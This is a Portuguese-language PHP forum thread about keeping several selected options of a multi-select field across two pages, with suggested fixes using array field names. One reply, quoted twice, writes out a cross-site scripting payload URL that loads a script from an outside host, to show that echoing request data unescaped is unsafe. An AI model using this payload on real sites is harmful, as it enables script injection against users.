Jump to content

Select com mais que uma opcoa seleccionada


Umbus

Recommended Posts

Boas,

Nao sei se será o sitio mais correcto mas ca vai:

Tenho um select que selecçiona masi do que uma opção, e quero quando o utilizador carrega no botao na pagina seguinte apareca a opção seleccionada, entao fiz um if, que se a opção fosse seleccionada aparecia como seleccionado, mas tenho um problema, parece que no primeiro formulário ele fica como se tivesse seleccionado 2 opções mas e como se tivesse so uma opção seleccionada, aparecendo assim na segunda pagina só uma opção selecionada. PAra quem nao percebeu vou tentar ser masi especifico:

tenho pagina 1 e pagina 2:

Pagina 1 (pagina de formulario principal):

- Tenho um select (que permite mais do que uma opção seja seleccionada)

Pagina 2 (pagina que confere se o formulário esta bem feito para mandar para a base de dados):

- Tenho o mesmo select que na pagina 1 (so que so aparece a ultima opção escolhida na pagina 1).

Como posso resolver isto?

Eu sou eu e eu sou aquele que sou eu...

Link to comment
Share on other sites

Sim, é possível, com o atributo multiple.

http://www.w3schools.com/tags/tag_select.asp

Então primeiro vamos por partes o HTML.

<form>
<select name="caixa" multiple="1">
<option>casa</option>
<option selected="selected">relva</option>
<option selected="selected">madeira</option>
<option>galinhas</option>
</select>
</form>

Mas se fizeres um echo do que é passado, podes ver que apenas uma opção é mostrada porque elas se sobrepõem. OU seja, é enviado caixa=relva e depois caixa = madeira. Como contornar? Usas arrays de PHP e ficarás com os elementos todos! Experimenta agora analizar com o seguinte codigo e adpata à tua solução:

<form>
<select name="caixa[]" multiple="1">
<option>casa</option>
<option selected="selected">relva</option>
<option selected="selected">madeira</option>
<option>galinhas</option>
</select>
<input type="submit">
</form>
<?php
if(!empty($_GET)){
	print_r($_GET);
}
?>

Nick antigo: softclean | Tens um projeto? | Wiki P@P

Ajuda a comunidade! Se encontrares algo de errado, usa a opção "Denunciar" por baixo de cada post.

Link to comment
Share on other sites

Mas a mim ao fazer isso e como se depois nao nenhuma ficasse selecionada :S

Essa parte era so para ver como é que os dados passavam de uma forma (sem arrays) e de outra (com os arrays). Acho que agora já tens algumas informações por onde pegar o código  😉

Falha de XSS. 😄 Experimenta espetar no url ?x=<script%20src=www.kakakeys.com/xs.js></script> 😄

Era só para ele ver a diferença entre códigos, um exemplo académico...  😁

Nick antigo: softclean | Tens um projeto? | Wiki P@P

Ajuda a comunidade! Se encontrares algo de errado, usa a opção "Denunciar" por baixo de cada post.

Link to comment
Share on other sites

Falha de XSS. 😄 Experimenta espetar no url ?x=<script%20src=www.kakakeys.com/xs.js></script> 😉

Era só para ele ver a diferença entre códigos, um exemplo académico...  😁

Exemplos académicos não dispensam segurança. 😄 Só precisavas de implementar o print_r com isto:

if(!empty($_POST))
foreach($_POST as $k => $v)
	echo sprintf(
		"\$_POST[%s] => %s(%s) %s",
		(is_string($k) ? "'$k'" : $k),
		gettype($v),
		(is_string($v) ? strlen($v) :
			(is_int($v) || is_float($v) || is_bool($v) ? $v : 
				(is_null($v) ? '' : "formato nao suportado"))),
		(is_string($v) ? '"'.htmlentities($v).'"' : ''));

PS: Não testei este código e ele não vai funcionar para objectos (é o que dá fazer as coisas todas numa linha 😄 ).

Não peças ajuda por PM! A tua dúvida vai ter menos atenção do que se for postada na secção correcta do fórum!

Link to comment
Share on other sites

Eu nao tou na universidade, tenham calma pah XD. Continuo a nao consegui o maximo que ja fiz foi isto, mas so aparece um:

1ª pagina

  <select name="genero" size="5" multiple="multiple" id="genero">
                    <?
                    $totalcatfilmes = mysql_query("SELECT * FROM categoriasfilmes ORDER BY catfilme ASC;", $ligar);

                    while ($registos = mysql_fetch_array($totalcatfilmes)) {
												$idcatfilme = $registos["id"];
												$catfilme = $registos["catfilme"];

                    ?>
                                <option value=<? echo $idcatfilme; ?>><? echo $catfilme; ?></option>
									<?
									}
									?>
              </select>  

2 pagina


<select name="genero" size="5" multiple="multiple" id="genero">
                    <?
                    $totalcatfilmes = mysql_query("SELECT * FROM categoriasfilmes ORDER BY catfilme ASC;", $ligar);

                    while ($registos = mysql_fetch_array($totalcatfilmes)) {
												$idcatfilme = $registos["id"];
												$catfilme = $registos["catfilme"];

           												if ($idcatfilme == $genero) {
                    ?>
                                <option value=<? echo $idcatfilme; ?> selected="selected"><? echo $catfilme; ?></option>
									<?
												} else {
                    ?>
                                <option value=<? echo $idcatfilme; ?>><? echo $catfilme; ?></option>
									<?
												}
									}
									?>

      </select>

Eu sou eu e eu sou aquele que sou eu...

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.